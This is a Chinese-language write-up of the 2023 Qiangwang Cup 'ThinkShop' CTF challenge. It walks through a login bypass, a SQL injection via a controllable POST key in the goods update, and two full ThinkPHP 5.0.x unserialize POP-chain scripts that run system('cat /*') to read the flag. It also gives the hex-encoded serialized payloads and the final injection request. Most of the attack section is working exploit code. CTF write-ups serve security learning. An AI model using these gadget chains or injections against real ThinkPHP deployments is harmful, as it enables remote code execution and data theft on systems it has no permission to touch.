[2023 强网杯初赛]ThinkShop
注:参考链接https://mp.weixin.qq.com/s/7GY8b9GbR1raU1V5gDTBaQ
- • 题目类型:CTF
- • 题目名称:2023强网杯初赛 thinkshop[ping]
- • 题目镜像:附件内,自行搭建
- • 内部端口:80
- • 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xdkZHcTl1VG14NzR1TUZudEMwX3lSQT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码)
0x00 启动脚本
下载附件后,阅读附件里的README.txt:
thinkshop:
docker load < thinkshop.tar
docker run -tid --name thinkshop -p 36000:80 -e FLAG=flag{test_flag} thinkshop
thinkshopping:
docker load < thinkshopping.tar
docker run -tid --name thinkshop -p 36001:80 -e FLAG=flag{test_flag} 镜像ID
用goods_edit.html文件替换镜像中的/var/www/html/application/index/view/admin/goods_edit.html
0x01 信息收集
- 文件结构如下:
- 在根目录下能找到shop.sql和goods.sql,
其中shop.sql中有在admin表中插入一行数据
INSERT INTO `user` (`username`, `password`) VALUES
('admin', 'ndbcsbvudsvpbusvbpsffdsbsdfbausbdfsdfsdfsdf');
即admin,123456
-
再看看start.sh和restart.sh,看看都有啥(没啥
service apache2 start # 启动mysql service mysql start # 启动php5.6-fpm service php5.6-fpm start nohup /nohup.sh > /dev/null 2>&1 & //nohup.sh是检查cpu使用率的 mysql -e "source /shop.sql;" -uroot -proot mysql -e "source /goods.sql;" -uroot -proot memcached -d -m 50 -p 11211 -u root
0x02 正式开始
主要代码审计在:
/var/www/html/application/index/controller/Admin.php
/var/www/html/application/index/model/Goods.php
/var/www/html/application/index/model/Select.php
/var/www/html/application/index/model/Update.php
-
先看Admin.php,只有do_login()函数不用鉴权
public function do_login() { $username = input('post.username'); $password = input('post.password'); // if (empty($username) || empty($password)) { // $this->error('用户名或密码不能为空'); // } // if(strlen($password) > 100) // { // $this->error('用户名或密码错误'); // } // 使用md5对输入的密码进行加密 $encryptedPassword = md5($password); // 设置缓存键和有效期 $Key = ["Login" , $username]; $Expire = 600; // 缓存有效期为10分钟 (600秒) // 尝试从缓存中获取数据 $adminData = Db::table('admin') // 选择名为 'admin' 的数据库表 ->cache(true, $Expire) // 启用查询结果的缓存,并设置过期时间为 $Expire(可能是一个变量) ->find($username); // 在数据库中查找与 $username 变量匹配的行 // 这段代码从 'admin' 表中检索数据,并使用缓存来提高性能。 // 查询结果将存储在 $adminData 变量中,可以根据需要进行后续处理和使用。 if ($adminData && $adminData['password'] === $encryptedPassword) { // 登录成功,设置session session('admin', $adminData['username']); $this->success($username.'登录成功', 'index/admin/goods_edit'); } else { $this->error('用户名或密码错误'); } }
下面这部分是重点:
$adminData = Db::table('admin') ->cache(true, $Expire) ->find($username);//在find有参数的情况下,默认会去找数据表中的主键列,即id这一列,find('admin')的返回值为id,即1
在find有参数的情况下,默认会去找数据表中的主键列,即id这一列,find(‘admin’)的返回值为id,即1。
这里使用user = 1 pwd= 123456登录到后台http://192.168.126.129:36000/public/index.php/index/admin
- 进入后台,可以思考如何进行RCE了
在goods_edit.html中有,
{php}
use app\index\model\Goods;
$view=new Goods();
echo $view->arrayToMarkdown(unserialize(base64_decode($goods['data'])));
{/php}
商品信息这一栏会对$goods[‘data’]先base64decode,再反序列化
结合5.0.23的RCEpop链即可利用
-
但是如何控制$goods[‘data’]?
寻找data
在Admin.php中
public function do_edit() { if(!session('?admin')) { $this->error('请先登录','index/admin/login'); } $goodsModel = new Goods(); $data = input('post.'); $result = $goodsModel->saveGoods($data); if ($result) { $this->success('商品信息更新成功', 'index/index/index'); } else { $this->error('商品信息更新失败'); } }
Goods.php->saveGoods()->->save()->Update.php->updatedata()
public function saveGoods($data) { $data['data'] = base64_encode(serialize($this->markdownToArray($data['data']))); return $this->save($data); } public function save($data){ $update = new Update(); return $update->updatedata($data , 'goods' , $data['id']); }
public function updatedata($data, $table, $id) { if (!$this->connect()) { die('Error'); } else { $sql = "UPDATE $table SET "; // 它将数组中的每个元素都赋值给 $value,并将对应的键赋值给 $key foreach ($data as $key => $value) { $value = '' ; $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";//原,存在sql注入,$key可控,就是do_edit()的post传参值 //反引号的作用就仅仅是个普通符号,没有特殊的用途,所以 注入语句中有 data`,这里的`就是为了闭合前面的` //构造data`=unhex('RCE代码的hex放这里')/**/where/**/id=1/**/or/**/6=6# $sql .= "`data`=unhex('yes')/**/where/**/id=1/**/or/**/6=6#` = unhex('" . bin2hex($value) . "'), "; // 成功将特定的data插入goods表中 } $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id); return mysqli_query($this->connect(), $sql); } }
-
ThinkPhp5.0.24 RCE POPCHAIN1(第一种脚本
<?php namespace think\process\pipes{ use think\model\Pivot; ini_set('display_errors',1); class Windows{ private $files = []; public function __construct($function,$parameter) { $this->files = [new Pivot($function,$parameter)]; } } $a = array(new Windows('system','cat /*')); echo bin2hex(base64_encode(serialize($a))); } namespace think{ abstract class Model {} } namespace think\model{ use think\Model; use think\console\Output; class Pivot extends Model { protected $append = []; protected $error; public $parent; public function __construct($function,$parameter) { $this->append['jelly'] = 'getError'; $this->error = new relation\BelongsTo($function,$parameter); $this->parent = new Output($function,$parameter); } } abstract class Relation {} } namespace think\model\relation{ use think\db\Query; use think\model\Relation; abstract class OneToOne extends Relation {} class BelongsTo extends OneToOne { protected $selfRelation; protected $query; protected $bindAttr = []; public function __construct($function,$parameter) { $this->selfRelation = false; $this->query = new Query($function,$parameter); $this->bindAttr = ['']; } } } namespace think\db{ use think\console\Output; class Query { protected $model; public function __construct($function,$parameter) { $this->model = new Output($function,$parameter); } } } namespace think\console{ use think\session\driver\Memcache; class Output { protected $styles = []; private $handle; public function __construct($function,$parameter) { $this->styles = ['getAttr']; $this->handle = new Memcache($function,$parameter); } } } namespace think\session\driver{ use think\cache\driver\Memcached; class Memcache { protected $handler = null; protected $config = [ 'expire' => '', 'session_name' => '', ]; public function __construct($function,$parameter) { $this->handler = new Memcached($function,$parameter); } } } namespace think\cache\driver{ use think\Request; class Memcached { protected $handler; protected $options = []; protected $tag; public function __construct($function,$parameter) { // pop链中需要prefix存在,否则报错 $this->options = ['prefix' => 'jelly/']; $this->tag = true; $this->handler = new Request($function,$parameter); } } } namespace think{ class Request { protected $get = []; protected $filter; public function __construct($function,$parameter) { $this->filter = $function; $this->get = ["jelly"=>$parameter]; } } } //59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246785161585a76644349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d547037637a6f314f694a715a57787365534937637a6f344f694a6e5a585246636e4a766369493766584d364f446f6941436f415a584a79623349694f3038364d7a4136496e526f61573572584731765a47567358484a6c624746306157397558454a6c624739755a334e55627949364d7a7037637a6f784e546f6941436f41633256735a6c4a6c6247463061573975496a74694f6a4137637a6f344f6949414b6742786457567965534937547a6f784e446f6964476870626d74635a474a635558566c636e6b694f6a453665334d364f446f6941436f416257396b5a5777694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f3331396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e74704f6a4137637a6f774f6949694f333139637a6f324f694a7759584a6c626e51694f3038364d6a4136496e526f6157357258474e76626e4e76624756635433563063485630496a6f794f6e747a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a7439637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f794f546f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a614755694f6a493665334d364d5441364967417141476868626d52735a5849694f3038364d6a6736496e526f6157357258474e685932686c5847527961585a6c636c784e5a57316a59574e6f5a5751694f6a4d3665334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364e546f69616d567362486b694f334d364e6a6f695932463049433871496a7439637a6f354f6949414b67426d615778305a5849694f334d364e6a6f6963336c7a64475674496a7439637a6f784d446f6941436f4162334230615739756379493759546f784f6e747a4f6a5936496e42795a575a7065434937637a6f324f694a715a577873655338694f33317a4f6a593649674171414852685a794937596a6f784f33317a4f6a6b364967417141474e76626d5a705a79493759546f794f6e747a4f6a5936496d563463476c795a534937637a6f774f6949694f334d364d544936496e4e6c63334e7062323566626d46745a534937637a6f774f6949694f333139665831396658303d
ThinkPhp5.0.24 RCE POPCHAIN1(第二种脚本
<?php
namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{
$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}
namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{
protected $model;
public function __construct()
{
$this->model=new Output();
}
}
namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去触发Memcached的链
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}
}
namespace think\cache;
abstract class Driver{
}
namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached {
protected $handler;
public function __construct()
{
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "test";
protected $handler;//触发Request的链
protected $options = ['prefix'=>'goddemon/'];
public function __construct()
{
$this->handler = new Request();
}
}
namespace think;
class Request{
protected $get = ["goddemon"=>'cat /f*'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Merge extends Model{
}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{
/** @var array */
private $files = [];
public function __construct()
{
$this->files=[new Merge()]; }
}
echo bin2hex(base64_encode(serialize([new Windows])));
?>
//59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246784e5a584a6e5a5349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d54703761546f774f334d364f446f695a32563052584a79623349694f33317a4f6a67364967417141475679636d3979496a74504f6a4d774f694a3061476c75613178746232526c624678795a57786864476c76626c78435a577876626d647a564738694f6a493665334d364f446f6941436f416358566c636e6b694f3038364e444536496e526f6157357258475269584756345932567764476c76626c784e6232526c6245357664455a766457356b5258686a5a58423061573975496a6f784f6e747a4f6a673649674171414731765a475673496a74504f6a49774f694a3061476c756131786a6232357a6232786c5845393164484231644349364d6a7037637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f7a4d446f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a6147566b496a6f784f6e747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a49334f694a3061476c756131786a59574e6f5a56786b636d6c325a584a63545756745932466a614755694f6a4d3665334d364e6a6f6941436f416447466e496a747a4f6a5136496e526c633351694f334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364f446f695a32396b5a475674623234694f334d364e7a6f69593246304943396d4b69493766584d364f546f6941436f415a6d6c7364475679496a747a4f6a5936496e4e356333526c6253493766584d364d544136496741714147397764476c76626e4d694f3245364d547037637a6f324f694a77636d566d615867694f334d364f546f695a32396b5a47567462323476496a74396658317a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a74396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e747a4f6a5136496e526c633351694f334d364e446f696447567a644349376658317a4f6a6b364967417141484268636d567564434937547a6f794d446f6964476870626d746359323975633239735a56785064585277645851694f6a493665334d364d6a67364967423061476c756131786a6232357a6232786c58453931644842316441426f5957356b624755694f3038364d7a4136496e526f6157357258484e6c63334e70623235635a484a70646d56795845316c62574e685932686c5a4349364d547037637a6f784d446f6941436f41614746755a47786c63694937547a6f794e7a6f6964476870626d74635932466a614756635a484a70646d56795845316c62574e685932686c496a6f7a4f6e747a4f6a593649674171414852685a794937637a6f304f694a305a584e30496a747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a457a4f694a3061476c75613178535a5846315a584e30496a6f794f6e747a4f6a5936496741714147646c6443493759546f784f6e747a4f6a6736496d64765a47526c62573975496a747a4f6a6336496d4e68644341765a696f694f33317a4f6a6b364967417141475a706248526c63694937637a6f324f694a7a65584e305a5730694f33317a4f6a45774f6949414b674276634852706232357a496a74684f6a453665334d364e6a6f6963484a6c5a6d6c34496a747a4f6a6b36496d64765a47526c625739754c79493766583139637a6f354f6949414b67427a64486c735a584d694f3245364d54703761546f774f334d364e7a6f695a32563051585230636949376658313966583139
FINAL PAYLOAD
在http://192.168.126.129:36000/public/index.php/index/admin/do_edit.html处,Post
data`%3Dunhex('59546f784f6e74704f6a4137547a6f794e7a6f6964476870626d746363484a765932567a633178776158426c633178586157356b6233647a496a6f784f6e747a4f6a4d304f69494164476870626d746363484a765932567a633178776158426c633178586157356b6233647a41475a706247567a496a74684f6a453665326b364d4474504f6a45334f694a3061476c75613178746232526c6246784e5a584a6e5a5349364d7a7037637a6f354f6949414b6742686348426c626d51694f3245364d54703761546f774f334d364f446f695a32563052584a79623349694f33317a4f6a67364967417141475679636d3979496a74504f6a4d774f694a3061476c75613178746232526c624678795a57786864476c76626c78435a577876626d647a564738694f6a493665334d364f446f6941436f416358566c636e6b694f3038364e444536496e526f6157357258475269584756345932567764476c76626c784e6232526c6245357664455a766457356b5258686a5a58423061573975496a6f784f6e747a4f6a673649674171414731765a475673496a74504f6a49774f694a3061476c756131786a6232357a6232786c5845393164484231644349364d6a7037637a6f794f446f694148526f6157357258474e76626e4e7662475663543356306348563041476868626d52735a534937547a6f7a4d446f6964476870626d74636332567a63326c76626c786b636d6c325a584a63545756745932466a6147566b496a6f784f6e747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a49334f694a3061476c756131786a59574e6f5a56786b636d6c325a584a63545756745932466a614755694f6a4d3665334d364e6a6f6941436f416447466e496a747a4f6a5136496e526c633351694f334d364d5441364967417141476868626d52735a5849694f3038364d544d36496e526f6157357258464a6c6358566c633351694f6a493665334d364e6a6f6941436f415a325630496a74684f6a453665334d364f446f695a32396b5a475674623234694f334d364e7a6f69593246304943396d4b69493766584d364f546f6941436f415a6d6c7364475679496a747a4f6a5936496e4e356333526c6253493766584d364d544136496741714147397764476c76626e4d694f3245364d547037637a6f324f694a77636d566d615867694f334d364f546f695a32396b5a47567462323476496a74396658317a4f6a6b364967417141484e306557786c6379493759546f784f6e74704f6a4137637a6f334f694a6e5a58524264485279496a74396658317a4f6a45784f6949414b6742696157356b515852306369493759546f784f6e747a4f6a5136496e526c633351694f334d364e446f696447567a644349376658317a4f6a6b364967417141484268636d567564434937547a6f794d446f6964476870626d746359323975633239735a56785064585277645851694f6a493665334d364d6a67364967423061476c756131786a6232357a6232786c58453931644842316441426f5957356b624755694f3038364d7a4136496e526f6157357258484e6c63334e70623235635a484a70646d56795845316c62574e685932686c5a4349364d547037637a6f784d446f6941436f41614746755a47786c63694937547a6f794e7a6f6964476870626d74635932466a614756635a484a70646d56795845316c62574e685932686c496a6f7a4f6e747a4f6a593649674171414852685a794937637a6f304f694a305a584e30496a747a4f6a45774f6949414b67426f5957356b62475679496a74504f6a457a4f694a3061476c75613178535a5846315a584e30496a6f794f6e747a4f6a5936496741714147646c6443493759546f784f6e747a4f6a6736496d64765a47526c62573975496a747a4f6a6336496d4e68644341765a696f694f33317a4f6a6b364967417141475a706248526c63694937637a6f324f694a7a65584e305a5730694f33317a4f6a45774f6949414b674276634852706232357a496a74684f6a453665334d364e6a6f6963484a6c5a6d6c34496a747a4f6a6b36496d64765a47526c625739754c79493766583139637a6f354f6949414b67427a64486c735a584d694f3245364d54703761546f774f334d364e7a6f695a32563051585230636949376658313966583139')/**/where/**/id%3D1/**/or/**/6%3D6#=1&id=1&name=a&price=100.00&image=1&data=
页面错误!请稍后再试~
ThinkPHP V5.0.23 { 十年磨一剑-为API开发设计的高性能框架 }
flag=flag{test_flag}